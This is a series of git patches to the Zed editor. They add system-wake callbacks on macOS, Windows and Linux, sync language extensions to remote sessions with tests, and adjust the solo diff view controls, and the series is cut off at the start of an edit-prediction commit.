diff --git a/crates/gpui_linux/src/linux/wayland/client.rs b/crates/gpui_linux/src/linux/wayland/client.rs
index c7e1ed4a403d4c..cd4aec84b71099 100644
--- a/crates/gpui_linux/src/linux/wayland/client.rs
+++ b/crates/gpui_linux/src/linux/wayland/client.rs
@@ -575,7 +575,7 @@ impl WaylandClient {
 
         let event_loop = EventLoop::<WaylandClientStatePtr>::try_new().unwrap();
 
-        let (common, main_receiver) = LinuxCommon::new(event_loop.get_signal());
+        let (common, main_receiver, wake_receiver) = LinuxCommon::new(event_loop.get_signal());
 
         let handle = event_loop.handle();
         handle
@@ -595,6 +595,17 @@ impl WaylandClient {
             })
             .unwrap();
 
+        handle
+            .insert_source(
+                wake_receiver,
+                |event, _, client: &mut WaylandClientStatePtr| {
+                    if let calloop::channel::Event::Msg(()) = event {
+                        client.get_client().borrow_mut().common.handle_system_wake();
+                    }
+                },
+            )
+            .unwrap();
+
         let compositor_gpu = detect_compositor_gpu();
         let gpu_context = Rc::new(RefCell::new(None));
 
diff --git a/crates/gpui_linux/src/linux/x11/client.rs b/crates/gpui_linux/src/linux/x11/client.rs
index 7ee0aa579eb281..0c8c9b4e20b845 100644
--- a/crates/gpui_linux/src/linux/x11/client.rs
+++ b/crates/gpui_linux/src/linux/x11/client.rs
@@ -309,7 +309,7 @@ impl X11Client {
     pub(crate) fn new() -> anyhow::Result<Self> {
         let event_loop = EventLoop::try_new()?;
 
-        let (common, main_receiver) = LinuxCommon::new(event_loop.get_signal());
+        let (common, main_receiver, wake_receiver) = LinuxCommon::new(event_loop.get_signal());
 
         let handle = event_loop.handle();
 
@@ -335,6 +335,16 @@ impl X11Client {
                 anyhow!("Failed to initialize event loop handling of foreground tasks: {err:?}")
             })?;
 
+        handle
+            .insert_source(wake_receiver, |event, _, client: &mut X11Client| {
+                if let calloop::channel::Event::Msg(()) = event {
+                    client.0.borrow_mut().common.handle_system_wake();
+                }
+            })
+            .map_err(|err| {
+                anyhow!("Failed to initialize event loop handling of wake events: {err:?}")
+            })?;
+
         let (xcb_connection, x_root_index) = XCBConnection::connect(None)?;
         xcb_connection.prefetch_extension_information(xkb::X11_EXTENSION_NAME)?;
         xcb_connection.prefetch_extension_information(randr::X11_EXTENSION_NAME)?;
diff --git a/crates/gpui_macos/src/platform.rs b/crates/gpui_macos/src/platform.rs
index d9bcc6b0a04b24..8266cade4d226b 100644
--- a/crates/gpui_macos/src/platform.rs
+++ b/crates/gpui_macos/src/platform.rs
@@ -151,6 +151,11 @@ unsafe fn build_classes() {
                 on_thermal_state_change as extern "C" fn(&mut Object, Sel, id),
             );
 
+            decl.add_method(
+                sel!(onSystemWake:),
+                on_system_wake as extern "C" fn(&mut Object, Sel, id),
+            );
+
             decl.register()
         }
     }
@@ -169,6 +174,8 @@ pub(crate) struct MacPlatformState {
     reopen: Option<Box<dyn FnMut()>>,
     on_keyboard_layout_change: Option<Box<dyn FnMut()>>,
     on_thermal_state_change: Option<Box<dyn FnMut()>>,
+    on_system_wake: Option<Box<dyn FnMut()>>,
+    system_wake_observer_registered: bool,
     quit: Option<Box<dyn FnMut()>>,
     menu_command: Option<Box<dyn FnMut(&dyn Action)>>,
     validate_menu_command: Option<Box<dyn FnMut(&dyn Action) -> bool>>,
@@ -222,6 +229,8 @@ impl MacPlatform {
             dock_menu: None,
             on_keyboard_layout_change: None,
             on_thermal_state_change: None,
+            on_system_wake: None,
+            system_wake_observer_registered: false,
             menus: None,
             keyboard_mapper,
             cursor_visible: Arc::new(AtomicBool::new(true)),
@@ -919,6 +928,25 @@ impl Platform for MacPlatform {
         self.0.lock().on_thermal_state_change = Some(callback);
     }
 
+    fn on_system_wake(&self, callback: Box<dyn FnMut()>) {
+        let mut state = self.0.lock();
+        state.on_system_wake = Some(callback);
+        if state.system_wake_observer_registered {
+            return;
+        }
+        drop(state);
+
+        // SAFETY: APP_CLASS is registered during startup and returns the shared NSApplication.
+        unsafe {
+            let app: id = msg_send![APP_CLASS, sharedApplication];
+            let delegate: id = msg_send![app, delegate];
+            if delegate != nil {
+                register_system_wake_observer(delegate);
+                self.0.lock().system_wake_observer_registered = true;
+            }
+        }
+    }
+
     fn thermal_state(&self) -> ThermalState {
         unsafe {
             let process_info: id = msg_send![class!(NSProcessInfo), processInfo];
@@ -1211,14 +1239,36 @@ extern "C" fn did_finish_launching(this: &mut Object, _: Sel, _: id) {
             object: process_info
         ];
 
+        let observer = this as *mut Object as id;
         let platform = get_mac_platform(this);
-        let callback = platform.0.lock().finish_launching.take();
+        let callback = {
+            let mut state = platform.0.lock();
+            if state.on_system_wake.is_some() && !state.system_wake_observer_registered {
+                register_system_wake_observer(observer);
+                state.system_wake_observer_registered = true;
+            }
+            state.finish_launching.take()
+        };
         if let Some(callback) = callback {
             callback();
         }
     }
 }
 
+unsafe fn register_system_wake_observer(observer: id) {
+    // SAFETY: observer is an Objective-C object implementing onSystemWake:.
+    unsafe {
+        let workspace: id = msg_send![class!(NSWorkspace), sharedWorkspace];
+        let workspace_center: *mut Object = msg_send![workspace, notificationCenter];
+        let wake_name = ns_string("NSWorkspaceDidWakeNotification");
+        let _: () = msg_send![workspace_center, addObserver: observer
+            selector: sel!(onSystemWake:)
+            name: wake_name
+            object: nil
+        ];
+    }
+}
+
 extern "C" fn should_handle_reopen(this: &mut Object, _: Sel, _: id, has_open_windows: bool) {
     if !has_open_windows {
         let platform = unsafe { get_mac_platform(this) };
@@ -1282,6 +1332,27 @@ extern "C" fn on_thermal_state_change(this: &mut Object, _: Sel, _: id) {
     }
 }
 
+extern "C" fn on_system_wake(this: &mut Object, _: Sel, _: id) {
+    // SAFETY: this is the registered app delegate carrying MAC_PLATFORM_IVAR.
+    let platform = unsafe { get_mac_platform(this) };
+    let platform_ptr = platform as *const MacPlatform as *mut c_void;
+    // SAFETY: platform lives for the process lifetime while callbacks are registered.
+    unsafe {
+        DispatchQueue::main().exec_async_f(platform_ptr, on_system_wake);
+    }
+
+    extern "C" fn on_system_wake(context: *mut c_void) {
+        // SAFETY: context is the MacPlatform pointer queued above.
+        let platform = unsafe { &*(context as *const MacPlatform) };
+        let mut lock = platform.0.lock();
+        if let Some(mut callback) = lock.on_system_wake.take() {
+            drop(lock);
+            callback();
+            platform.0.lock().on_system_wake.get_or_insert(callback);
+        }
+    }
+}
+
 extern "C" fn open_urls(this: &mut Object, _: Sel, _: id, urls: id) {
     let urls = unsafe {
         (0..urls.count())
diff --git a/crates/gpui_web/src/platform.rs b/crates/gpui_web/src/platform.rs
index ace27bef4814ca..fecc39f368dc8c 100644
--- a/crates/gpui_web/src/platform.rs
+++ b/crates/gpui_web/src/platform.rs
@@ -246,6 +246,8 @@ impl Platform for WebPlatform {
         self.callbacks.borrow_mut().reopen = Some(callback);
     }
 
+    fn on_system_wake(&self, _callback: Box<dyn FnMut()>) {}
+
     fn set_menus(&self, _menus: Vec<Menu>, _keymap: &Keymap) {}
 
     fn set_dock_menu(&self, _menu: Vec<MenuItem>, _keymap: &Keymap) {}
diff --git a/crates/gpui_windows/src/platform.rs b/crates/gpui_windows/src/platform.rs
index 294cef136ee562..871da413e3bbee 100644
--- a/crates/gpui_windows/src/platform.rs
+++ b/crates/gpui_windows/src/platform.rs
@@ -21,7 +21,7 @@ use windows::{
         Foundation::*,
         Graphics::{Direct3D11::ID3D11Device, Gdi::*},
         Security::Credentials::*,
-        System::{Com::*, LibraryLoader::*, Ole::*, SystemInformation::*},
+        System::{Com::*, LibraryLoader::*, Ole::*, Power::*, SystemInformation::*},
         UI::{Input::KeyboardAndMouse::*, Shell::*, WindowsAndMessaging::*},
     },
     core::*,
@@ -45,6 +45,7 @@ pub struct WindowsPlatform {
     /// as resizing them has failed, causing us to have lost at least the render target.
     invalidate_devices: Arc<AtomicBool>,
     handle: HWND,
+    suspend_resume_notification: RefCell<Option<HPOWERNOTIFY>>,
     disable_direct_composition: bool,
 }
 
@@ -77,6 +78,7 @@ struct PlatformCallbacks {
     will_open_app_menu: Cell<Option<Box<dyn FnMut()>>>,
     validate_app_menu_command: Cell<Option<Box<dyn FnMut(&dyn Action) -> bool>>>,
     keyboard_layout_change: Cell<Option<Box<dyn FnMut()>>>,
+    system_wake: Cell<Option<Box<dyn FnMut()>>>,
 }
 
 impl WindowsPlatformState {
@@ -193,6 +195,7 @@ impl WindowsPlatform {
             foreground_executor,
             text_system,
             direct_write_text_system,
+            suspend_resume_notification: RefCell::new(None),
             disable_direct_composition,
             drop_target_helper,
             invalidate_devices: Arc::new(AtomicBool::new(false)),
@@ -628,6 +631,21 @@ impl Platform for WindowsPlatform {
         self.inner.state.callbacks.reopen.set(Some(callback));
     }
 
+    fn on_system_wake(&self, callback: Box<dyn FnMut()>) {
+        self.inner.state.callbacks.system_wake.set(Some(callback));
+        let mut notification = self.suspend_resume_notification.borrow_mut();
+        if notification.is_none() {
+            *notification = unsafe {
+                // SAFETY: self.handle is the platform window receiving WM_POWERBROADCAST.
+                RegisterSuspendResumeNotification(
+                    HANDLE(self.handle.0),
+                    DEVICE_NOTIFY_WINDOW_HANDLE,
+                )
+                .log_err()
+            };
+        }
+    }
+
     fn set_menus(&self, menus: Vec<Menu>, _keymap: &Keymap) {
         *self.inner.state.menus.borrow_mut() = menus.into_iter().map(|menu| menu.owned()).collect();
     }
@@ -882,6 +900,7 @@ impl WindowsPlatformInner {
             | WM_GPUI_DOCK_MENU_ACTION
             | WM_GPUI_KEYBOARD_LAYOUT_CHANGED
             | WM_GPUI_GPU_DEVICE_LOST => self.handle_gpui_events(msg, wparam, lparam),
+            WM_POWERBROADCAST => self.handle_power_broadcast(wparam),
             _ => None,
         };
         if let Some(result) = handled {
@@ -1018,6 +1037,13 @@ impl WindowsPlatformInner {
         Some(0)
     }
 
+    fn handle_power_broadcast(&self, wparam: WPARAM) -> Option<isize> {
+        if wparam.0 as u32 == PBT_APMRESUMEAUTOMATIC {
+            self.with_callback(|callbacks| &callbacks.system_wake, |callback| callback());
+        }
+        Some(1)
+    }
+
     fn handle_device_lost(&self, lparam: LPARAM) -> Option<isize> {
         let directx_devices = lparam.0 as *const DirectXDevices;
         let directx_devices = unsafe { &*directx_devices };
@@ -1031,6 +1057,10 @@ impl WindowsPlatformInner {
 impl Drop for WindowsPlatform {
     fn drop(&mut self) {
         unsafe {
+            if let Some(notification) = self.suspend_resume_notification.borrow_mut().take() {
+                // SAFETY: notification was returned by RegisterSuspendResumeNotification.
+                UnregisterSuspendResumeNotification(notification).log_err();
+            }
             DestroyWindow(self.handle)
                 .context("Destroying platform window")
                 .log_err();

From 0b458e53a5b52fb205f8420db3f12315e9268915 Mon Sep 17 00:00:00 2001
From: liam <liam@scalzulli.com>
Date: Wed, 24 Jun 2026 17:32:43 -0400
Subject: [PATCH 090/772] extension_host: Sync language extensions to remotes
 (#56487)

Resolves #56068

Remote extension sync previously only sent extensions that can run
remotely: language servers, debug adapters, and debug locators. That
excluded language-only extensions such as TOML, so a remote session
could have Tombi synced and loaded while the remote language registry
still lacked TOML's language definition.

This diff keeps the remote sync set narrow: it starts from extensions
that can run remotely, then adds the extension that defines each
language referenced by those extensions' language servers. This installs
the TOML language config alongside Tombi without syncing unrelated
language-only extensions, allowing project settings schemas to recognize
language names like TOML and allowing remote language servers to attach
to buffers whose language is provided by a separate extension.

Release Notes:

- Fixed remote sessions failing to recognize languages provided by
language-only extensions.

---------

Co-authored-by: Finn Evers <finn.evers@outlook.de>
---
 crates/extension/src/extension_manifest.rs    |  26 ++-
 crates/extension_host/src/extension_host.rs   |  68 +++++--
 .../src/extension_store_test.rs               | 179 ++++++++++++++++++
 3 files changed, 257 insertions(+), 16 deletions(-)

diff --git a/crates/extension/src/extension_manifest.rs b/crates/extension/src/extension_manifest.rs
index f99b1cad9100fe..6e9207a2e9fbf0 100644
--- a/crates/extension/src/extension_manifest.rs
+++ b/crates/extension/src/extension_manifest.rs
@@ -181,9 +181,27 @@ impl ExtensionManifest {
     }
 
     pub fn allow_remote_load(&self) -> bool {
-        !self.language_servers.is_empty()
+        self.remote_load().is_some()
+    }
+
+    pub fn remote_load(&self) -> Option<RemoteLoad<'_>> {
+        (!self.language_servers.is_empty()
             || !self.debug_adapters.is_empty()
-            || !self.debug_locators.is_empty()
+            || !self.debug_locators.is_empty())
+        .then_some(RemoteLoad { manifest: self })
+    }
+}
+
+pub struct RemoteLoad<'a> {
+    manifest: &'a ExtensionManifest,
+}
+
+impl RemoteLoad<'_> {
+    pub fn language_dependencies(&self) -> impl Iterator<Item = LanguageName> + '_ {
+        self.manifest
+            .language_servers
+            .values()
+            .flat_map(|language_server_config| language_server_config.languages())
     }
 }
 
@@ -345,7 +363,7 @@ pub struct SlashCommandManifestEntry {
     pub requires_argument: bool,
 }
 
-#[derive(Clone, PartialEq, Eq, Debug, Deserialize, Serialize)]
+#[derive(Clone, Default, PartialEq, Eq, Debug, Deserialize, Serialize)]
 pub struct DebugAdapterManifestEntry {
     pub schema_path: Option<RelPathBuf>,
 }
@@ -484,7 +502,7 @@ mod tests {
     #[test]
     fn test_build_adapter_schema_path_without_schema_path() {
         let adapter_name = Arc::from("my_adapter");
-        let entry = DebugAdapterManifestEntry { schema_path: None };
+        let entry = DebugAdapterManifestEntry::default();
 
         let path = build_debug_adapter_schema_path(&adapter_name, &entry).unwrap();
         assert_eq!(path, rel_path_buf("debug_adapter_schemas/my_adapter.json"));
diff --git a/crates/extension_host/src/extension_host.rs b/crates/extension_host/src/extension_host.rs
index b22d175da56e1c..676577cbd0cbe2 100644
--- a/crates/extension_host/src/extension_host.rs
+++ b/crates/extension_host/src/extension_host.rs
@@ -11,7 +11,7 @@ use async_compression::futures::bufread::GzipDecoder;
 use async_tar::Archive;
 use client::{Client, proto, telemetry::Telemetry};
 use cloud_api_types::{ExtensionMetadata, ExtensionProvides, GetExtensionsResponse};
-use collections::{BTreeMap, BTreeSet, FxHashSet, HashSet, btree_map};
+use collections::{BTreeMap, BTreeSet, FxHashSet, HashMap, HashSet, btree_map};
 pub use extension::ExtensionManifest;
 use extension::extension_builder::{CompileExtensionOptions, ExtensionBuilder};
 use extension::{
@@ -178,6 +178,55 @@ pub struct ExtensionIndex {
     pub languages: BTreeMap<LanguageName, ExtensionIndexLanguageEntry>,
 }
 
+impl ExtensionIndex {
+    fn extensions_to_sync_to_remote(&self) -> RemoteSyncExtensions {
+        let mut extensions = RemoteSyncExtensions::default();
+
+        for (id, entry) in &self.extensions {
+            if entry.manifest.remote_load().is_some() {
+                extensions.insert_extension_and_language_dependencies(self, id);
+            }
+        }
+
+        extensions
+    }
+}
+
+#[derive(Default)]
+struct RemoteSyncExtensions(HashMap<Arc<str>, ExtensionIndexEntry>);
+
+impl RemoteSyncExtensions {
+    fn insert_extension_and_language_dependencies(
+        &mut self,
+        index: &ExtensionIndex,
+        id: &Arc<str>,
+    ) {
+        if self.0.contains_key(id) {
+            return;
+        }
+
+        let Some(entry) = index.extensions.get(id) else {
+            return;
+        };
+
+        self.0.insert(id.clone(), entry.clone());
+
+        let Some(remote_load) = entry.manifest.remote_load() else {
+            return;
+        };
+
+        for language in remote_load.language_dependencies() {
+            if let Some(language_entry) = index.languages.get(&language) {
+                self.insert_extension_and_language_dependencies(index, &language_entry.extension);
+            }
+        }
+    }
+
+    fn into_entries(self) -> impl Iterator<Item = (Arc<str>, ExtensionIndexEntry)> {
+        self.0.into_iter()
+    }
+}
+
 #[derive(Clone, PartialEq, Eq, Debug, Deserialize, Serialize)]
 pub struct ExtensionIndexEntry {
     pub manifest: Arc<ExtensionManifest>,
@@ -1812,17 +1861,12 @@ impl ExtensionStore {
     ) -> Result<()> {
         let extensions = this.update(cx, |this, _cx| {
             this.extension_index
-                .extensions
-                .iter()
-                .filter_map(|(id, entry)| {
-                    if !entry.manifest.allow_remote_load() {
-                        return None;
-                    }
-                    Some(proto::Extension {
-                        id: id.to_string(),
-                        version: entry.manifest.version.to_string(),
-                        dev: entry.dev,
-                    })
+                .extensions_to_sync_to_remote()
+                .into_entries()
+                .map(|(id, entry)| proto::Extension {
+                    id: id.to_string(),
+                    version: entry.manifest.version.to_string(),
+                    dev: entry.dev,
                 })
                 .collect()
         })?;
diff --git a/crates/extension_host/src/extension_store_test.rs b/crates/extension_host/src/extension_store_test.rs
index 6868701eb9e20e..59b00f936f922b 100644
--- a/crates/extension_host/src/extension_store_test.rs
+++ b/crates/extension_host/src/extension_store_test.rs
@@ -34,6 +34,185 @@ fn init_logger() {
     zlog::init_test();
 }
 
+fn remote_sync_entry(id: &str, manifest_body: &str) -> ExtensionIndexEntry {
+    let manifest = format!(
+        r#"
+        id = "{id}"
+        name = "{id}"
+        version = "1.0.0"
+        schema_version = 0
+
+        {manifest_body}
+        "#
+    );
+
+    ExtensionIndexEntry {
+        manifest: Arc::new(toml::from_str(&manifest).unwrap()),
+        dev: false,
+    }
+}
+
+fn remote_sync_language_entry(extension: &str, path: &str) -> ExtensionIndexLanguageEntry {
+    ExtensionIndexLanguageEntry {
+        extension: extension.into(),
+        path: path.into(),
+        matcher: LanguageMatcher::default(),
+        hidden: false,
+        grammar: None,
+    }
+}
+
+fn remote_sync_extension_ids(index: &ExtensionIndex) -> Vec<String> {
+    let mut extensions = index
+        .extensions_to_sync_to_remote()
+        .into_entries()
+        .map(|(id, _)| id.to_string())
+        .collect::<Vec<_>>();
+
+    extensions.sort();
+
+    extensions
+}
+
+#[test]
+fn remote_sync_includes_language_dependencies() {
+    let index = ExtensionIndex {
+        extensions: [
+            (
+                "bar-language".into(),
+                remote_sync_entry("bar-language", r#"languages = ["languages/bar"]"#),
+            ),
+            (
+                "foo-lsp".into(),
+                remote_sync_entry(
+                    "foo-lsp",
+                    r#"
+                    [language_servers.foo]
+                    language = "Foo"
+                    "#,
+                ),
+            ),
+            (
+                "foo-language".into(),
+                remote_sync_entry("foo-language", r#"languages = ["languages/foo"]"#),
+            ),
+        ]
+        .into_iter()
+        .collect(),
+        languages: [
+            (
+                "Bar".into(),
+                remote_sync_language_entry("bar-language", "languages/bar"),
+            ),
+            (
+                "Foo".into(),
+                remote_sync_language_entry("foo-language", "languages/foo"),
+            ),
+        ]
+        .into_iter()
+        .collect(),
+        themes: BTreeMap::default(),
+        icon_themes: BTreeMap::default(),
+    };
+
+    assert_eq!(
+        remote_sync_extension_ids(&index),
+        ["foo-language", "foo-lsp"]
+    );
+}
+
+#[test]
+fn remote_sync_keeps_shared_language_dependency_once() {
+    let index = ExtensionIndex {
+        extensions: [
+            (
+                "aaa-lsp".into(),
+                remote_sync_entry(
+                    "aaa-lsp",
+                    r#"
+                    [language_servers.aaa]
+                    language = "Foo"
+                    "#,
+                ),
+            ),
+            (
+                "bbb-lsp".into(),
+                remote_sync_entry(
+                    "bbb-lsp",
+                    r#"
+                    [language_servers.bbb]
+                    language = "Foo"
+                    "#,
+                ),
+            ),
+            (
+                "zzz-language".into(),
+                remote_sync_entry("zzz-language", r#"languages = ["languages/foo"]"#),
+            ),
+        ]
+        .into_iter()
+        .collect(),
+        languages: [(
+            "Foo".into(),
+            remote_sync_language_entry("zzz-language", "languages/foo"),
+        )]
+        .into_iter()
+        .collect(),
+        themes: BTreeMap::default(),
+        icon_themes: BTreeMap::default(),
+    };
+
+    assert_eq!(
+        remote_sync_extension_ids(&index),
+        ["aaa-lsp", "bbb-lsp", "zzz-language"]
+    );
+}
+
+#[test]
+fn remote_sync_keeps_remote_loadable_extensions_without_language_dependency() {
+    let index = ExtensionIndex {
+        extensions: [(
+            "foo".into(),
+            remote_sync_entry(
+                "foo",
+                r#"
+                [language_servers.foo]
+                language = "Foo"
+                "#,
+            ),
+        )]
+        .into_iter()
+        .collect(),
+        languages: BTreeMap::default(),
+        themes: BTreeMap::default(),
+        icon_themes: BTreeMap::default(),
+    };
+
+    assert_eq!(remote_sync_extension_ids(&index), ["foo"]);
+}
+
+#[test]
+fn remote_sync_keeps_debug_adapters() {
+    let index = ExtensionIndex {
+        extensions: [(
+            "foo".into(),
+            remote_sync_entry(
+                "foo",
+                r#"
+                [debug_adapters.foo]
+                "#,
+            ),
+        )]
+        .into_iter()
+        .collect(),
+        languages: BTreeMap::default(),
+        themes: BTreeMap::default(),
+        icon_themes: BTreeMap::default(),
+    };
+
+    assert_eq!(remote_sync_extension_ids(&index), ["foo"]);
+}
+
 #[gpui::test]
 async fn test_extension_store(cx: &mut TestAppContext) {
     init_test(cx);

From 0346cc77ee22b2a458224dc029c24a647607f7b2 Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Thu, 25 Jun 2026 04:33:50 +0530
Subject: [PATCH 091/772] solo_diff_view: Add git action to open file diff and
 other improvements (#59752)

# Objective

- Polish the solo diff review UI by reducing redundant controls and
hiding inactive fold controls in split diff views.

## Solution

- Collapse the solo diff header's `Stage File` / `Unstage File` actions
into one button that shows the action relevant to the file's current
staging state.
- Stop reserving fold gutter space and rendering fold crease toggles for
editors with companion snapshots, matching the existing LHS split diff
behavior.

## Testing

- `cargo fmt --check`
- `cargo check -p git_ui`

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

Before, the solo diff header showed both file-level staging actions at
once, and the RHS split diff gutter could show fold arrows that did not
work in that view. After this change, the header shows the relevant
file-level staging action and split companion panes no longer show
inactive fold controls.

Release Notes:

- Improved solo diff controls by showing the relevant file staging
action and hiding inactive fold toggles in split diffs.
---
 crates/editor/src/element.rs        |  1 +
 crates/git/src/git.rs               |  2 +
 crates/git_ui/src/git_ui.rs         | 72 +++++++++++++++++++++++++++--
 crates/git_ui/src/solo_diff_view.rs | 13 +++---
 4 files changed, 78 insertions(+), 10 deletions(-)

diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index 634adcc1892783..897200cdea5367 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -2798,6 +2798,7 @@ impl EditorElement {
     ) -> Vec<Option<AnyElement>> {
         let include_fold_statuses = EditorSettings::get_global(cx).gutter.folds
             && snapshot.mode.is_full()
+            && snapshot.display_snapshot.companion_snapshot().is_none()
             && self.editor.read(cx).buffer_kind(cx) == ItemBufferKind::Singleton;
         if include_fold_statuses {
             row_infos
diff --git a/crates/git/src/git.rs b/crates/git/src/git.rs
index 15efdad75393dc..fe9947f23b5b83 100644
--- a/crates/git/src/git.rs
+++ b/crates/git/src/git.rs
@@ -115,6 +115,8 @@ actions!(
         Init,
         /// Opens all modified files in the editor.
         OpenModifiedFiles,
+        /// Opens the current file in a solo diff view.
+        OpenFileDiff,
         /// Clones a repository.
         Clone,
         ViewCommit,
diff --git a/crates/git_ui/src/git_ui.rs b/crates/git_ui/src/git_ui.rs
index 7e5b2ade32a56f..b508ae5257ee07 100644
--- a/crates/git_ui/src/git_ui.rs
+++ b/crates/git_ui/src/git_ui.rs
@@ -17,17 +17,25 @@ use git::{
 };
 use gpui::{
     App, ClipboardItem, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable,
-    SharedString, Subscription, Task, TaskExt, Window,
+    SharedString, Subscription, Task, TaskExt, WeakEntity, Window,
 };
 use menu::{Cancel, Confirm};
 use project::git_store::Repository;
 use project_diff::ProjectDiff;
 use time::OffsetDateTime;
 use ui::prelude::*;
-use workspace::{ModalView, OpenMode, Workspace, notifications::DetachAndPromptErr};
+use workspace::{
+    ModalView, OpenMode, Workspace,
+    notifications::{DetachAndPromptErr, NotifyTaskExt},
+};
 use zed_actions;
 
-use crate::{commit_view::CommitView, git_panel::GitPanel, text_diff_view::TextDiffView};
+use crate::{
+    commit_view::CommitView,
+    git_panel::{GitPanel, GitStatusEntry},
+    solo_diff_view::SoloDiffView,
+    text_diff_view::TextDiffView,
+};
 
 mod askpass_modal;
 pub mod branch_picker;
@@ -284,6 +292,23 @@ pub fn init(cx: &mut App) {
         workspace.register_action(|workspace, _: &git::OpenModifiedFiles, window, cx| {
             open_modified_files(workspace, window, cx);
         });
+        workspace.register_action_renderer(|div, workspace, _window, cx| {
+            div.when_some(
+                file_diff_entry(workspace, cx),
+                |div, (entry, repository)| {
+                    let workspace = workspace.weak_handle();
+                    div.on_action(move |_: &git::OpenFileDiff, window, cx| {
+                        open_file_diff(
+                            entry.clone(),
+                            repository.clone(),
+                            workspace.clone(),
+                            window,
+                            cx,
+                        );
+                    })
+                },
+            )
+        });
         workspace.register_action(|workspace, _: &git::RenameBranch, window, cx| {
             rename_current_branch(workspace, window, cx);
         });
@@ -302,6 +327,47 @@ pub fn init(cx: &mut App) {
     .detach();
 }
 
+fn open_file_diff(
+    entry: GitStatusEntry,
+    repository: Entity<Repository>,
+    workspace: WeakEntity<Workspace>,
+    window: &mut Window,
+    cx: &mut App,
+) {
+    window.defer(cx, move |window, cx| {
+        SoloDiffView::open_or_focus(entry, repository, workspace.clone(), window, cx)
+            .detach_and_notify_err(workspace, window, cx);
+    });
+}
+
+fn file_diff_entry(
+    workspace: &Workspace,
+    cx: &App,
+) -> Option<(GitStatusEntry, Entity<Repository>)> {
+    let project_path = workspace.active_item(cx)?.project_path(cx)?;
+
+    workspace
+        .project()
+        .read(cx)
+        .repositories(cx)
+        .values()
+        .find_map(|repository| {
+            let repo_path = repository
+                .read(cx)
+                .project_path_to_repo_path(&project_path, cx)?;
+            let status_entry = repository.read(cx).status_for_path(&repo_path)?;
+            Some((
+                GitStatusEntry {
+                    repo_path,
+                    status: status_entry.status,
+                    staging: status_entry.status.staging(),
+                    diff_stat: status_entry.diff_stat,
+                },
+                repository.clone(),
+            ))
+        })
+}
+
 fn open_modified_files(
     workspace: &mut Workspace,
     window: &mut Window,
diff --git a/crates/git_ui/src/solo_diff_view.rs b/crates/git_ui/src/solo_diff_view.rs
index 052206c3293a6e..90cc23b726aa5a 100644
--- a/crates/git_ui/src/solo_diff_view.rs
+++ b/crates/git_ui/src/solo_diff_view.rs
@@ -659,6 +659,7 @@ impl Render for SoloDiffGitToolbar {
                 DiffStat::new("solo-diff-stat", stat.added as usize, stat.deleted as usize)
                     .into_any_element()
             }))
+            .child(Divider::vertical())
             .child(
                 h_group_sm()
                     .when(button_states.selection, |el| {
@@ -746,7 +747,7 @@ impl Render for SoloDiffGitToolbar {
             .child(vertical_divider())
             .child(
                 h_group_sm()
-                    .child(
+                    .child(if button_states.stage_file {
                         Button::new("stage-file", "Stage File")
                             .tooltip(Tooltip::for_action_title_in(
                                 "Stage file",
@@ -756,9 +757,8 @@ impl Render for SoloDiffGitToolbar {
                             .disabled(!button_states.stage_file)
                             .on_click(
                                 cx.listener(|this, _, window, cx| this.stage_file(window, cx)),
-                            ),
-                    )
-                    .child(
+                            )
+                    } else {
                         Button::new("unstage-file", "Unstage File")
                             .tooltip(Tooltip::for_action_title_in(
                                 "Unstage file",
@@ -768,9 +768,8 @@ impl Render for SoloDiffGitToolbar {
                             .disabled(!button_states.unstage_file)
                             .on_click(
                                 cx.listener(|this, _, window, cx| this.unstage_file(window, cx)),
-                            ),
-                    )
-                    .child(Divider::vertical())
+                            )
+                    })
                     .child(
                         Button::new("commit", "Commit")
                             .tooltip(Tooltip::for_action_title_in(

From 784b14e207b7192769e21fa090e8ffd8914d1299 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Wed, 24 Jun 2026 19:28:47 -0400
Subject: [PATCH 092/772] ep: Hashed region format (#59837)

# Objective

Closes EP-9

- Describe the objective or issue this PR addresses.
- If you're fixing a specific issue, use "Fixes #X" for each issue as
[described in the GitHub
docs](https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword).

## Solution

- Describe the solution used to achieve the objective above.

## Testing

- Did you test these changes? If so, how?
- Are there any parts that need more testing?
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: Oleksiy Syvokon <oleksiy.syvokon@gmail.com>
Co-authored-by: Oleksiy Syvokon <oleksiy@zed.dev>
---
 crates/cloud_api_types/src/cloud_api_types.rs |    2 +
 .../src/capture_prediction_context.rs         |   10 +
 crates/edit_prediction/src/edit_prediction.rs |   17 +-
 .../src/edit_prediction_tests.rs              |   23 +
 crates/edit_prediction_cli/src/example.rs     |   10 +
 .../edit_prediction_cli/src/format_prompt.rs  | 1014 +++++++++++--
 crates/edit_prediction_cli/src/main.rs        |   64 +-
 .../edit_prediction_cli/src/parse_output.rs   |   18 +-
 crates/edit_prediction_cli/src/predict.rs     |  120 +-
